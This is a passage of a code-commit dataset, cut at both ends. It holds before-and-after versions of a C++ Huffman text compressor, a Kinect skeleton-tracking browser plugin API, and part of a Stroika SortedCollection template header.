n;\n\t\t\t\tbitBuffer.clear();\n\t\t\t}\n\t}\n}\n\nvoid streamEncoding(ifstream &fin, ofstream &fout, vector<bool> & bitBuffer, vector<vector<bool>> encodingTable)\n{\n\tfout << \"BIZCOMPRESS\" << endl; \/\/Printing \"magic number\n\tfout << inFileName << endl;\n\tstreamFrequencyList(fout); \/\/need to output frequency list\/table\n\tfout << endl; \t\n\n\tstring line = \"\";\n\tvector<bool> currentEncoding;\n\twhile (!fin.eof())\n\t{\n\t\tgetline(fin, line);\n\t\tfor (int i = 0; i < line.length(); i++)\n\t\t{\n\t\t\tcurrentEncoding = encodingTable[line[i]];\n\t\t\tcheckBuffer(bitBuffer, currentEncoding, fout);\n\t\t\twhile (!currentEncoding.empty())\n\t\t\t{\n\t\t\t\tbitBuffer.push_back(currentEncoding[0]);\n\t\t\t\tcurrentEncoding.erase(currentEncoding.begin());\n\t\t\t}\n\t\t}\n\t\tcurrentEncoding = encodingTable[10];\n\t\tcheckBuffer(bitBuffer, currentEncoding, fout);\n\t\twhile (!currentEncoding.empty())\n\t\t{\n\t\t\tbitBuffer.push_back(currentEncoding[0]);\n\t\t\tcurrentEncoding.erase(currentEncoding.begin());\n\t\t}\n\n\t\tline = \"\";\n\t}\n\tcurrentEncoding = encodingTable[26];\n\tcheckBuffer(bitBuffer, currentEncoding, fout);\n\tcheckBuffer(bitBuffer, currentEncoding, fout);\n\n}\n\n\nint main(int argc, char* argv[])\n{\n\tif (argc != 2)\n\t{\n\t\tcout << \"Please rerun the program and type a source file to be compressed.\" << endl;\n\t}\n\n\telse\n\t{\n\t\t\/\/argv[1] contains the filename to be provided\n\t\tinFileName = argv[1];\n\t\tifstream fin(inFileName);\n\t\tif (fin.fail())\n\t\t\tcout << \"Could not open target file, please rerun the program with a valid text file (.txt).\" << endl;\n\t\telse\n\t\t{\n\t\t\tstring outFileName = inFileName.substr(0, inFileName.length() - 3) + \"mcp\"; \/\/assumes a .txt file (changes output to a .mcp) \n\t\t\tofstream fout(outFileName, ios::binary | ios::out);\n\t\t\tpriority_queue<huffNode*, vector<huffNode*>, node_comparison> nodeHeap;\n\t\t\tvector<bool> startEncoding;\n\t\t\tvector<vector<bool>> encodingTable(256, vector<bool>(0));\n\t\t\tvector<bool> bitBuffer;\n\t\t\t\n\n\n\t\t\tinitializeFrequencyList(frequencyList);\n\t\t\tgenerateFrequencyList(fin, frequencyList);\n\t\t\tfin.close();\n\t\t\t\/\/printFrequencyList(frequencyList);\n\t\t\tgenerateInitialPQueue(frequencyList, nodeHeap);\n\t\t\tgenerateHuffmanTree(nodeHeap);\n\n\t\t\thuffNode *root;\n\t\t\troot = nodeHeap.top();\n\t\t\tnodeHeap.pop();\n\n\t\t\t\/\/create the encoding for each leaf node (character)\n\t\t\tgenerateEncodings(root, startEncoding, encodingTable);\n\n\t\t\tfin.open(inFileName);\n\t\t\tstreamEncoding(fin, fout, bitBuffer, encodingTable);\n\n\t\t}\n\t}\n\n\tcout << \"Done.\" << endl;\n\n\tcin.get();\n\tcin.get();\n\n\treturn 0;\n}<commit_msg>Adjusted some of the output to make decompression easier.<commit_after>#include <iostream>\n#include <fstream>\n#include <string>\n#include <queue>\n#include <vector>\n#include <bitset>\n\nusing namespace std;\n\nstring inFileName;\nint frequencyList[256];\n\nstruct huffNode\n{\n\tint frequency;\n\tchar character;\n\thuffNode* left;\n\thuffNode* right;\n};\n\nstruct node_comparison\n{\n\tbool operator () (const huffNode* A, const huffNode* B) const\n\t{\n\t\treturn A->frequency > B->frequency;\n\t}\n};\n\nvoid generateEncodings(huffNode *root, vector<bool> & encoding, vector<vector<bool>> & encodingTable)\n{\n\tif (root != NULL) {\n\t\tif (root->character != -1)\n\t\t{\n\t\t\tencodingTable[root->character] = encoding;\n\t\t}\n\t\tvector<bool> leftEncoding = encoding;\n\t\tleftEncoding.push_back(false);\n\t\tvector<bool> rightEncoding = encoding;\n\t\trightEncoding.push_back(true);\n\n\t\tgenerateEncodings(root->left,leftEncoding,encodingTable);\n\t\tgenerateEncodings(root->right,rightEncoding,encodingTable);\n\t}\n}\n\nvoid generateInitialPQueue(int frequencyList[256], priority_queue<huffNode*, vector<huffNode*>, node_comparison> &nodeHeap)\n{\n\tfor (int i = 0; i < 256; i++)\n\t{\n\t\tif (frequencyList[i] != 0)\n\t\t{\n\t\t\thuffNode* tempNode;\n\t\t\ttempNode = new huffNode;\n\t\t\ttempNode->frequency=frequencyList[i];\n\t\t\ttempNode->character = (char)i;\n\t\t\ttempNode->left = NULL;\n\t\t\ttempNode->right = NULL;\n\t\t\tnodeHeap.push(tempNode);\n\t\t}\n\t}\n}\n\nvoid printPQueue(priority_queue<huffNode*, vector<huffNode*>, node_comparison> &nodeHeap)\n{\n\tif (nodeHeap.empty())\n\t{\n\t\tcout << \"There's nothing in the heap!\" << endl;\n\t}\n\twhile (!nodeHeap.empty())\n\t{\n\t\thuffNode* tempNode;\n\t\ttempNode = nodeHeap.top();\n\t\tcout << tempNode->character << endl;\n\t\tnodeHeap.pop();\n\t}\n}\n\nvoid initializeFrequencyList(int frequencyList[256])\n{\n\tfor (int i = 0; i < 256; i++)\n\t\tfrequencyList[i] = 0;\n}\n\nvoid generateFrequencyList(ifstream& fin, int frequencyList[256])\n{\n\tstring line = \"\";\n\twhile (!fin.eof())\n\t{\n\t\tgetline(fin,line);\n\t\tfor (int i = 0; i < line.length(); i++)\n\t\t{\n\t\t\tfrequencyList[line[i]] += 1;\n\t\t}\n\t\tfrequencyList[10] += 1;\n\t\tline = \"\";\n\t}\n\tfrequencyList[26] = 1;\n}\n\nvoid printFrequencyList(int frequencyList[256])\n{\n\tfor (int i = 0; i < 256; i++)\n\t{\n\t\tif (frequencyList[i] != 0)\n\t\t{\n\t\t\tcout << \"Character \" << (char)i << \": \" << frequencyList[i] << endl;\n\t\t}\n\t}\n}\n\nvoid getEncoding(vector<bool> bitString, string &encoding)\n{\n\tfor (int i = 0; i < bitString.size(); i++)\n\t{\n\t\tencoding += bitString[i];\n\t}\n}\n\nvoid printEncodings(vector<vector<bool>> encodingTable)\n{\n\tstring encoding = \"\";\n\tfor (int i = 0; i < 256; i++)\n\t{\n\t\tif (!(encodingTable[i].empty()))\n\t\t{\n\t\t\tgetEncoding(encodingTable[i], encoding);\n\t\t\tcout << \"Character \" << (char)i << \" encoding: \" << encoding << endl;\n\t\t\tencoding = \"\";\n\t\t}\n\t}\n}\n\nvoid generateHuffmanTree(priority_queue <huffNode*, vector<huffNode*>, node_comparison> &heap)\n{\n\tif (heap.size() <= 1)\n\t\treturn;\n\telse\n\t{\n\t\thuffNode *node1, *node2;\n\t\tnode1 = new huffNode;\n\t\tnode2 = new huffNode;\n\n\t\tnode1 = heap.top();\n\t\theap.pop();\n\t\tnode2 = heap.top();\n\t\theap.pop();\n\t\tint totalFreq = node1->frequency + node2->frequency;\n\n\t\thuffNode* newNode;\n\t\tnewNode = new huffNode;\n\t\tnewNode->frequency = totalFreq;\n\t\tnewNode->character = (char)255;\n\t\tnewNode->left = node1;\n\t\tnewNode->right = node2;\n\n\t\theap.push(newNode);\n\t\ttotalFreq = 0;\n\t\tgenerateHuffmanTree(heap);\n\t}\n}\n\nvoid streamFrequencyList(ofstream &fout)\n{\n\tfor (int i = 0; i < 256; i++)\n\t{\n\t\t\tfout << i << endl << frequencyList[i] << endl;\n\t}\n}\n\nvoid convertBuffer(vector<bool> & ogBuffer, bitset<8> &newBuffer)\n{\n\tfor (int i = 0; i < ogBuffer.size(); i++)\n\t{\n\t\tnewBuffer[i] = ogBuffer[i];\n\t}\n}\n\nvoid checkBuffer(vector<bool> & bitBuffer, vector<bool> & encoding, ofstream &fout)\n{\n\twhile (encoding.size() != 0 )\n\t{\n\t\t\tint availableSpace = 8 - bitBuffer.size();\n\t\t\tfor (int i = 0; i < availableSpace; i++)\n\t\t\t{\n\t\t\t\tif (!encoding.empty())\n\t\t\t\t{\n\t\t\t\t\tbitBuffer.push_back(encoding[0]);\n\t\t\t\t\tencoding.erase(encoding.begin());\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (bitBuffer.size() == 8)\n\t\t\t{\n\t\t\t\t\/\/convert vector<bool> to bitbuffer for output\n\t\t\t\tbitset<8> outputBuffer;\n\t\t\t\tconvertBuffer(bitBuffer, outputBuffer);\n\t\t\t\tunsigned char n = outputBuffer.to_ulong();\n\t\t\t\tfout << n;\n\t\t\t\tbitBuffer.clear();\n\t\t\t}\n\t}\n}\n\nvoid streamEncoding(ifstream &fin, ofstream &fout, vector<bool> & bitBuffer, vector<vector<bool>> encodingTable)\n{\n\tfout << \"BIZCOMPRESS\" << endl; \/\/Printing \"magic number\n\tfout << inFileName << endl;\n\tstreamFrequencyList(fout); \/\/need to output frequency list\/table\n\tfout << endl; \t\n\n\tstring line = \"\";\n\tvector<bool> currentEncoding;\n\twhile (!fin.eof())\n\t{\n\t\tgetline(fin, line);\n\t\tfor (int i = 0; i < line.length(); i++)\n\t\t{\n\t\t\tcurrentEncoding = encodingTable[line[i]];\n\t\t\tcheckBuffer(bitBuffer, currentEncoding, fout);\n\t\t\twhile (!currentEncoding.empty())\n\t\t\t{\n\t\t\t\tbitBuffer.push_back(currentEncoding[0]);\n\t\t\t\tcurrentEncoding.erase(currentEncoding.begin());\n\t\t\t}\n\t\t}\n\t\tcurrentEncoding = encodingTable[10];\n\t\tcheckBuffer(bitBuffer, currentEncoding, fout);\n\t\twhile (!currentEncoding.empty())\n\t\t{\n\t\t\tbitBuffer.push_back(currentEncoding[0]);\n\t\t\tcurrentEncoding.erase(currentEncoding.begin());\n\t\t}\n\n\t\tline = \"\";\n\t}\n\tcurrentEncoding = encodingTable[26];\n\tcheckBuffer(bitBuffer, currentEncoding, fout);\n\tcheckBuffer(bitBuffer, currentEncoding, fout);\n\n}\n\n\nint main(int argc, char* argv[])\n{\n\tif (argc != 2)\n\t{\n\t\tcout << \"Please rerun the program and type a source file to be compressed.\" << endl;\n\t}\n\n\telse\n\t{\n\t\t\/\/argv[1] contains the filename to be provided\n\t\tinFileName = argv[1];\n\t\tifstream fin(inFileName);\n\t\tif (fin.fail())\n\t\t\tcout << \"Could not open target file, please rerun the program with a valid text file (.txt).\" << endl;\n\t\telse\n\t\t{\n\t\t\tstring outFileName = inFileName.substr(0, inFileName.length() - 3) + \"mcp\"; \/\/assumes a .txt file (changes output to a .mcp) \n\t\t\tofstream fout(outFileName, ios::binary | ios::out);\n\t\t\tpriority_queue<huffNode*, vector<huffNode*>, node_comparison> nodeHeap;\n\t\t\tvector<bool> startEncoding;\n\t\t\tvector<vector<bool>> encodingTable(256, vector<bool>(0));\n\t\t\tvector<bool> bitBuffer;\n\t\t\t\n\n\n\t\t\tinitializeFrequencyList(frequencyList);\n\t\t\tgenerateFrequencyList(fin, frequencyList);\n\t\t\tfin.close();\n\t\t\t\/\/printFrequencyList(frequencyList);\n\t\t\tgenerateInitialPQueue(frequencyList, nodeHeap);\n\t\t\tgenerateHuffmanTree(nodeHeap);\n\n\t\t\thuffNode *root;\n\t\t\troot = nodeHeap.top();\n\t\t\tnodeHeap.pop();\n\n\t\t\t\/\/create the encoding for each leaf node (character)\n\t\t\tgenerateEncodings(root, startEncoding, encodingTable);\n\n\t\t\tfin.open(inFileName);\n\t\t\tstreamEncoding(fin, fout, bitBuffer, encodingTable);\n\n\t\t}\n\t}\n\n\tcout << \"Done.\" << endl;\n\n\tcin.get();\n\tcin.get();\n\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>\/**********************************************************\\\n\n Auto-generated KSenseJSAPI.cpp\n\n\\**********************************************************\/\n\n#include \"JSObject.h\"\n#include \"variant_list.h\"\n#include \"DOM\/Document.h\"\n#include \"global\/config.h\"\n#include <cmath>\n\n#include \"KSenseJSAPI.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @fn KSenseJSPtr KSenseJSAPI::getPlugin()\n\/\/\/\n\/\/\/ @brief Gets a reference to the plugin that was passed in when the object\n\/\/\/ was created. If the plugin has already been released then this\n\/\/\/ will throw a FB::script_error that will be translated into a\n\/\/\/ javascript exception in the page.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nKSenseJSPtr KSenseJSAPI::getPlugin()\n{\n KSenseJSPtr plugin(m_plugin.lock());\n if (!plugin) {\n throw FB::script_error(\"The plugin is invalid\");\n }\n return plugin;\n}\n\n\/*\tGet the number of skeletons tracked by the Kinect. *\/\nint KSenseJSAPI::get_tracked_skeletons_count()\n{\n\tint tracked_skeleton_count = 0;\n\tKSenseJSPtr plugin = getPlugin();\n\tSkeletonDataPtr skeleton_data = plugin->getCurrentSkeletonDataPtr();\n\n\tif ( !skeleton_data ) {\n\t\treturn 0;\n\t}\n\n\tfor ( int i = 0; i < NUI_SKELETON_COUNT; i++ ) {\n\t\tif ( skeleton_data->SkeletonData[i].eTrackingState == NUI_SKELETON_TRACKED ) {\n\t\t\ttracked_skeleton_count++;\n\t\t}\n\t}\n\n\treturn tracked_skeleton_count;\n}\n\n\/*\tGet a list of tracking IDs for the currently tracked skeletons. *\/\nFB::VariantList KSenseJSAPI::get_valid_tracking_ids()\n{\n\tKSenseJSPtr plugin = getPlugin();\n\tSkeletonDataPtr skeleton_data = plugin->getCurrentSkeletonDataPtr();\n\tFB::VariantList tracking_ids;\n\n\tif ( !skeleton_data ) {\n\t\treturn tracking_ids;\n\t}\n\n\tfor ( int i = 0; i < NUI_SKELETON_COUNT; i++ ) {\n\t\tif ( skeleton_data->SkeletonData[i].eTrackingState == NUI_SKELETON_TRACKED ) {\n\t\t\ttracking_ids.push_back(skeleton_data->SkeletonData[i].dwTrackingID);\n\t\t}\n\t}\n\n\treturn tracking_ids;\n}\n\n\/*\tGet the skeleton data that corresponds to the given tracking ID. If the tracking\n\tID is invalid, throw an error. *\/\nNUI_SKELETON_DATA const* KSenseJSAPI::getDataByTrackingID(const int tracking_id)\n{\n\tKSenseJSPtr plugin = getPlugin();\n\tSkeletonDataPtr skeleton_data = plugin->getCurrentSkeletonDataPtr();\n\tFB::VariantList skeleton_data_output (NUI_SKELETON_POSITION_COUNT, 0);\n\tbool found_data = false;\n\n\tif ( !skeleton_data ) {\n\t\tthrow FB::script_error(\"No skeleton data.\");\n\t}\n\n\tfor ( int i = 0; i < NUI_SKELETON_COUNT; i++ ) {\n\t\tif ( skeleton_data->SkeletonData[i].eTrackingState == NUI_SKELETON_TRACKED && \n\t\t\t skeleton_data->SkeletonData[i].dwTrackingID == tracking_id ) {\n\t\t\treturn &skeleton_data->SkeletonData[i];\n\t\t}\n\t}\n\n\tthrow FB::script_error(\"Invalid tracking ID\");\n}\n\n\/*\tGet the skeleton data that corresponds to the given tracking ID. If the tracking\n\tID is invalid, throw an error. This version checks the given frame for data. *\/\nNUI_SKELETON_DATA const* KSenseJSAPI::getDataByTrackingID(const int tracking_id, SkeletonDataPtr data)\n{\n\tSkeletonDataPtr skeleton_data = data;\n\tFB::VariantList skeleton_data_output (NUI_SKELETON_POSITION_COUNT, 0);\n\tbool found_data = false;\n\n\tif ( !skeleton_data ) {\n\t\tthrow FB::script_error(\"No skeleton data.\");\n\t}\n\n\tfor ( int i = 0; i < NUI_SKELETON_COUNT; i++ ) {\n\t\tif ( skeleton_data->SkeletonData[i].eTrackingState == NUI_SKELETON_TRACKED && \n\t\t\t skeleton_data->SkeletonData[i].dwTrackingID == tracking_id ) {\n\t\t\treturn &skeleton_data->SkeletonData[i];\n\t\t}\n\t}\n\n\tthrow FB::script_error(\"Invalid tracking ID\");\n}\n\n\/*\tFormat the raw skeleton data and output using the JSAPI. *\/\nFB::VariantList KSenseJSAPI::get_skeleton_data(const int tracking_id)\n{\n\tFB::VariantList skeleton_data_output (NUI_SKELETON_POSITION_COUNT, 0);\n\t\n\tNUI_SKELETON_DATA const* skeleton_data = getDataByTrackingID(tracking_id);\n\n\tfor ( int j = 0; j < NUI_SKELETON_POSITION_COUNT; j++ ) {\n\t\tFB::VariantList position (3,0);\n\t\tposition[0] = skeleton_data->SkeletonPositions[j].x;\n\t\tposition[1] = skeleton_data->SkeletonPositions[j].y;\n\t\tposition[2] = skeleton_data->SkeletonPositions[j].z;\n\t\tskeleton_data_output[j] = position;\n\t}\n\n\treturn skeleton_data_output;\n}\n\ninline float square(float x)\n{\n\treturn x*x;\n}\n\nFB::VariantList KSenseJSAPI::getJointVelocity(const int tracking_id)\n{\n\tFB::VariantList joint_velocity (NUI_SKELETON_POSITION_COUNT, 0);\n\tKSenseJSPtr plugin = getPlugin();\n\tSkeletonDataPtr current_ptr = plugin->getCurrentSkeletonDataPtr(); \n\tSkeletonDataPtr previous_ptr = plugin->getPreviousSkeletonDataPtr();\n\n\tNUI_SKELETON_DATA const* current = getDataByTrackingID(tracking_id, current_ptr);\n\tNUI_SKELETON_DATA const* previous = getDataByTrackingID(tracking_id, previous_ptr);\n\tfloat v_x, v_y, v_z;\n\n\tfor ( int j = 0; j < NUI_SKELETON_POSITION_COUNT; j++ ) {\n\t\tFB::VariantList velocity (4,0);\n\t\tvelocity[1] = v_x = current->SkeletonPositions[j].x - previous->SkeletonPositions[j].x;\n\t\tvelocity[2] = v_y = current->SkeletonPositions[j].y - previous->SkeletonPositions[j].y;\n\t\tvelocity[3] = v_z = current->SkeletonPositions[j].z - previous->SkeletonPositions[j].z;\n\t\tvelocity[0] = sqrt(square(v_x)+square(v_y)+square(v_z));\n\t\tjoint_velocity[j] = velocity;\n\t}\n\n\treturn joint_velocity;\n}\n\nvoid KSenseJSAPI::new_skeleton_data_event()\n{\n\tfire_newskeletondata();\n}<commit_msg>Only get velocity if both previous and current pointers are valid.<commit_after>\/**********************************************************\\\n\n Auto-generated KSenseJSAPI.cpp\n\n\\**********************************************************\/\n\n#include \"JSObject.h\"\n#include \"variant_list.h\"\n#include \"DOM\/Document.h\"\n#include \"global\/config.h\"\n#include <cmath>\n\n#include \"KSenseJSAPI.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @fn KSenseJSPtr KSenseJSAPI::getPlugin()\n\/\/\/\n\/\/\/ @brief Gets a reference to the plugin that was passed in when the object\n\/\/\/ was created. If the plugin has already been released then this\n\/\/\/ will throw a FB::script_error that will be translated into a\n\/\/\/ javascript exception in the page.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nKSenseJSPtr KSenseJSAPI::getPlugin()\n{\n KSenseJSPtr plugin(m_plugin.lock());\n if (!plugin) {\n throw FB::script_error(\"The plugin is invalid\");\n }\n return plugin;\n}\n\n\/*\tGet the number of skeletons tracked by the Kinect. *\/\nint KSenseJSAPI::get_tracked_skeletons_count()\n{\n\tint tracked_skeleton_count = 0;\n\tKSenseJSPtr plugin = getPlugin();\n\tSkeletonDataPtr skeleton_data = plugin->getCurrentSkeletonDataPtr();\n\n\tif ( !skeleton_data ) {\n\t\treturn 0;\n\t}\n\n\tfor ( int i = 0; i < NUI_SKELETON_COUNT; i++ ) {\n\t\tif ( skeleton_data->SkeletonData[i].eTrackingState == NUI_SKELETON_TRACKED ) {\n\t\t\ttracked_skeleton_count++;\n\t\t}\n\t}\n\n\treturn tracked_skeleton_count;\n}\n\n\/*\tGet a list of tracking IDs for the currently tracked skeletons. *\/\nFB::VariantList KSenseJSAPI::get_valid_tracking_ids()\n{\n\tKSenseJSPtr plugin = getPlugin();\n\tSkeletonDataPtr skeleton_data = plugin->getCurrentSkeletonDataPtr();\n\tFB::VariantList tracking_ids;\n\n\tif ( !skeleton_data ) {\n\t\treturn tracking_ids;\n\t}\n\n\tfor ( int i = 0; i < NUI_SKELETON_COUNT; i++ ) {\n\t\tif ( skeleton_data->SkeletonData[i].eTrackingState == NUI_SKELETON_TRACKED ) {\n\t\t\ttracking_ids.push_back(skeleton_data->SkeletonData[i].dwTrackingID);\n\t\t}\n\t}\n\n\treturn tracking_ids;\n}\n\n\/*\tGet the skeleton data that corresponds to the given tracking ID. If the tracking\n\tID is invalid, throw an error. *\/\nNUI_SKELETON_DATA const* KSenseJSAPI::getDataByTrackingID(const int tracking_id)\n{\n\tKSenseJSPtr plugin = getPlugin();\n\tSkeletonDataPtr skeleton_data = plugin->getCurrentSkeletonDataPtr();\n\tFB::VariantList skeleton_data_output (NUI_SKELETON_POSITION_COUNT, 0);\n\tbool found_data = false;\n\n\tif ( !skeleton_data ) {\n\t\tthrow FB::script_error(\"No skeleton data.\");\n\t}\n\n\tfor ( int i = 0; i < NUI_SKELETON_COUNT; i++ ) {\n\t\tif ( skeleton_data->SkeletonData[i].eTrackingState == NUI_SKELETON_TRACKED && \n\t\t\t skeleton_data->SkeletonData[i].dwTrackingID == tracking_id ) {\n\t\t\treturn &skeleton_data->SkeletonData[i];\n\t\t}\n\t}\n\n\tthrow FB::script_error(\"Invalid tracking ID\");\n}\n\n\/*\tGet the skeleton data that corresponds to the given tracking ID. If the tracking\n\tID is invalid, throw an error. This version checks the given frame for data. *\/\nNUI_SKELETON_DATA const* KSenseJSAPI::getDataByTrackingID(const int tracking_id, SkeletonDataPtr data)\n{\n\tSkeletonDataPtr skeleton_data = data;\n\tFB::VariantList skeleton_data_output (NUI_SKELETON_POSITION_COUNT, 0);\n\tbool found_data = false;\n\n\tif ( !skeleton_data ) {\n\t\tthrow FB::script_error(\"No skeleton data.\");\n\t}\n\n\tfor ( int i = 0; i < NUI_SKELETON_COUNT; i++ ) {\n\t\tif ( skeleton_data->SkeletonData[i].eTrackingState == NUI_SKELETON_TRACKED && \n\t\t\t skeleton_data->SkeletonData[i].dwTrackingID == tracking_id ) {\n\t\t\treturn &skeleton_data->SkeletonData[i];\n\t\t}\n\t}\n\n\tthrow FB::script_error(\"Invalid tracking ID\");\n}\n\n\/*\tFormat the raw skeleton data and output using the JSAPI. *\/\nFB::VariantList KSenseJSAPI::get_skeleton_data(const int tracking_id)\n{\n\tFB::VariantList skeleton_data_output (NUI_SKELETON_POSITION_COUNT, 0);\n\t\n\tNUI_SKELETON_DATA const* skeleton_data = getDataByTrackingID(tracking_id);\n\n\tfor ( int j = 0; j < NUI_SKELETON_POSITION_COUNT; j++ ) {\n\t\tFB::VariantList position (3,0);\n\t\tposition[0] = skeleton_data->SkeletonPositions[j].x;\n\t\tposition[1] = skeleton_data->SkeletonPositions[j].y;\n\t\tposition[2] = skeleton_data->SkeletonPositions[j].z;\n\t\tskeleton_data_output[j] = position;\n\t}\n\n\treturn skeleton_data_output;\n}\n\n\/\/FB::VariantList KSenseJSAPI::getBoneLengths(const int tracking_id)\n\/\/{\n\/\/\tFB::VariantList bone_lengths_output (NUI_SKELETON_POSITION_COUNT, 0);\n\/\/\tNUI_SKELETON_DATA const* skeleton_data = getDataByTrackingID(tracking_id);\n\/\/\n\/\/\tfor ( int i = 0; i < NUI_SKELETON_POSITION_COUNT; i++ ) {\n\/\/\n\/\/}\n\ninline float square(float x)\n{\n\treturn x*x;\n}\n\n\/*\tCalculate the velocity since the last frame of skeleton data and send to the\n\tjavascript. *\/\nFB::VariantList KSenseJSAPI::getJointVelocity(const int tracking_id)\n{\n\tFB::VariantList joint_velocity (NUI_SKELETON_POSITION_COUNT, 0);\n\tKSenseJSPtr plugin = getPlugin();\n\tSkeletonDataPtr current_ptr = plugin->getCurrentSkeletonDataPtr();\n\tSkeletonDataPtr previous_ptr = plugin->getPreviousSkeletonDataPtr();\n\n\tNUI_SKELETON_DATA const* current = getDataByTrackingID(tracking_id, current_ptr);\n\tNUI_SKELETON_DATA const* previous = getDataByTrackingID(tracking_id, previous_ptr);\n\tfloat v_x, v_y, v_z;\n\n\tfor ( int j = 0; j < NUI_SKELETON_POSITION_COUNT; j++ ) {\n\t\tFB::VariantList velocity (4,0.0f);\n\t\tif (current && previous) {\n\t\t\tvelocity[1] = v_x = current->SkeletonPositions[j].x - previous->SkeletonPositions[j].x;\n\t\t\tvelocity[2] = v_y = current->SkeletonPositions[j].y - previous->SkeletonPositions[j].y;\n\t\t\tvelocity[3] = v_z = current->SkeletonPositions[j].z - previous->SkeletonPositions[j].z;\n\t\t\tvelocity[0] = sqrt(square(v_x)+square(v_y)+square(v_z));\n\t\t}\n\t\tjoint_velocity[j] = velocity;\n\t}\n\n\treturn joint_velocity;\n}\n\nvoid KSenseJSAPI::new_skeleton_data_event()\n{\n\tfire_newskeletondata();\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2018. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Containers_SortedCollection_inl_\n#define _Stroika_Foundation_Containers_SortedCollection_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n#include \"Factory\/SortedCollection_Factory.h\"\n\nnamespace Stroika {\n namespace Foundation {\n namespace Containers {\n\n \/*\n ********************************************************************************\n ***************************** SortedCollection<T> ******************************\n ********************************************************************************\n *\/\n template <typename T>\n inline SortedCollection<T>::SortedCollection ()\n : SortedCollection (std::less<T>{})\n {\n _AssertRepValidType ();\n }\n template <typename T>\n template <typename INORDER_COMPARER, typename ENABLE_IF_IS_COMPARER>\n inline SortedCollection<T>::SortedCollection (const INORDER_COMPARER& inorderComparer, ENABLE_IF_IS_COMPARER*)\n : inherited (move (Factory::SortedCollection_Factory<T, INORDER_COMPARER> (inorderComparer) ()))\n {\n static_assert (Common::IsInOrderComparer<INORDER_COMPARER> (), \"InOrder comparer required with SortedCollection\");\n _AssertRepValidType ();\n }\n template <typename T>\n inline SortedCollection<T>::SortedCollection (const _SortedCollectionRepSharedPtr& src) noexcept\n : inherited (src)\n {\n RequireNotNull (src);\n _AssertRepValidType ();\n }\n template <typename T>\n inline SortedCollection<T>::SortedCollection (_SortedCollectionRepSharedPtr&& src) noexcept\n : inherited ((RequireNotNull (src), move (src)))\n {\n _AssertRepValidType ();\n }\n\t\t\ttemplate <typename T>\n\t\t\tinline SortedCollection<T>::SortedCollection (const initializer_list<T>& src)\n\t\t\t\t: SortedCollection ()\n\t\t\t{\n\t\t\t\tthis->AddAll (src);\n\t\t\t\t_AssertRepValidType ();\n\t\t\t}\n\t\t\ttemplate <typename T>\n\t\t\tinline SortedCollection<T>::SortedCollection (const InOrderComparerType& inOrderComparer, const initializer_list<T>& src)\n\t\t\t\t: SortedCollection (inOrderComparer)\n\t\t\t{\n\t\t\t\tthis->AddAll (src);\n\t\t\t\t_AssertRepValidType ();\n\t\t\t}\n\t\t\ttemplate <typename T>\n template <typename CONTAINER_OF_T, typename ENABLE_IF>\n inline SortedCollection<T>::SortedCollection (const CONTAINER_OF_T& src)\n : SortedCollection ()\n {\n this->AddAll (src);\n _AssertRepValidType ();\n }\n template <typename T>\n template <typename CONTAINER_OF_T, typename ENABLE_IF>\n inline SortedCollection<T>::SortedCollection (const InOrderComparerType& inOrderComparer, const CONTAINER_OF_T& src)\n : SortedCollection (inOrderComparer)\n {\n this->AddAll (src);\n _AssertRepValidType ();\n }\n\t\t\ttemplate <typename T>\n\t\t\ttemplate <typename COPY_FROM_ITERATOR_OF_T>\n\t\t\tinline SortedCollection<T>::SortedCollection (COPY_FROM_ITERATOR_OF_T start, COPY_FROM_ITERATOR_OF_T end)\n\t\t\t\t: SortedCollection ()\n\t\t\t{\n\t\t\t\tthis->AddAll (start, end);\n\t\t\t\t_AssertRepValidType ();\n\t\t\t}\n\t\t\ttemplate <typename T>\n\t\t\ttemplate <typename COPY_FROM_ITERATOR_OF_T>\n\t\t\tinline SortedCollection<T>::SortedCollection (const InOrderComparerType& inOrderComparer, COPY_FROM_ITERATOR_OF_T start, COPY_FROM_ITERATOR_OF_T end)\n\t\t\t\t: SortedCollection (inOrderComparer)\n\t\t\t{\n\t\t\t\tthis->AddAll (start, end);\n\t\t\t\t_AssertRepValidType ();\n\t\t\t}\n\t\t\ttemplate <typename T>\n inline void SortedCollection<T>::_AssertRepValidType () const\n {\n#if qDebug\n _SafeReadRepAccessor<_IRep>{this};\n#endif\n }\n }\n }\n}\n\n#endif \/* _Stroika_Foundation_Containers_SortedCollection_inl_ *\/\n<commit_msg>SortedCollection more overloads for inorder comparer<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2018. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Containers_SortedCollection_inl_\n#define _Stroika_Foundation_Containers_SortedCollection_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n#include \"Factory\/SortedCollection_Factory.h\"\n\nnamespace Stroika {\n namespace Foundation {\n namespace Containers {\n\n \/*\n ********************************************************************************\n ***************************** SortedCollection<T> ******************************\n ********************************************************************************\n *\/\n template <typename T>\n inline SortedCollection<T>::SortedCollection ()\n : SortedCollection (std::less<T>{})\n {\n _AssertRepValidType ();\n }\n template <typename T>\n template <typename INORDER_COMPARER, typename 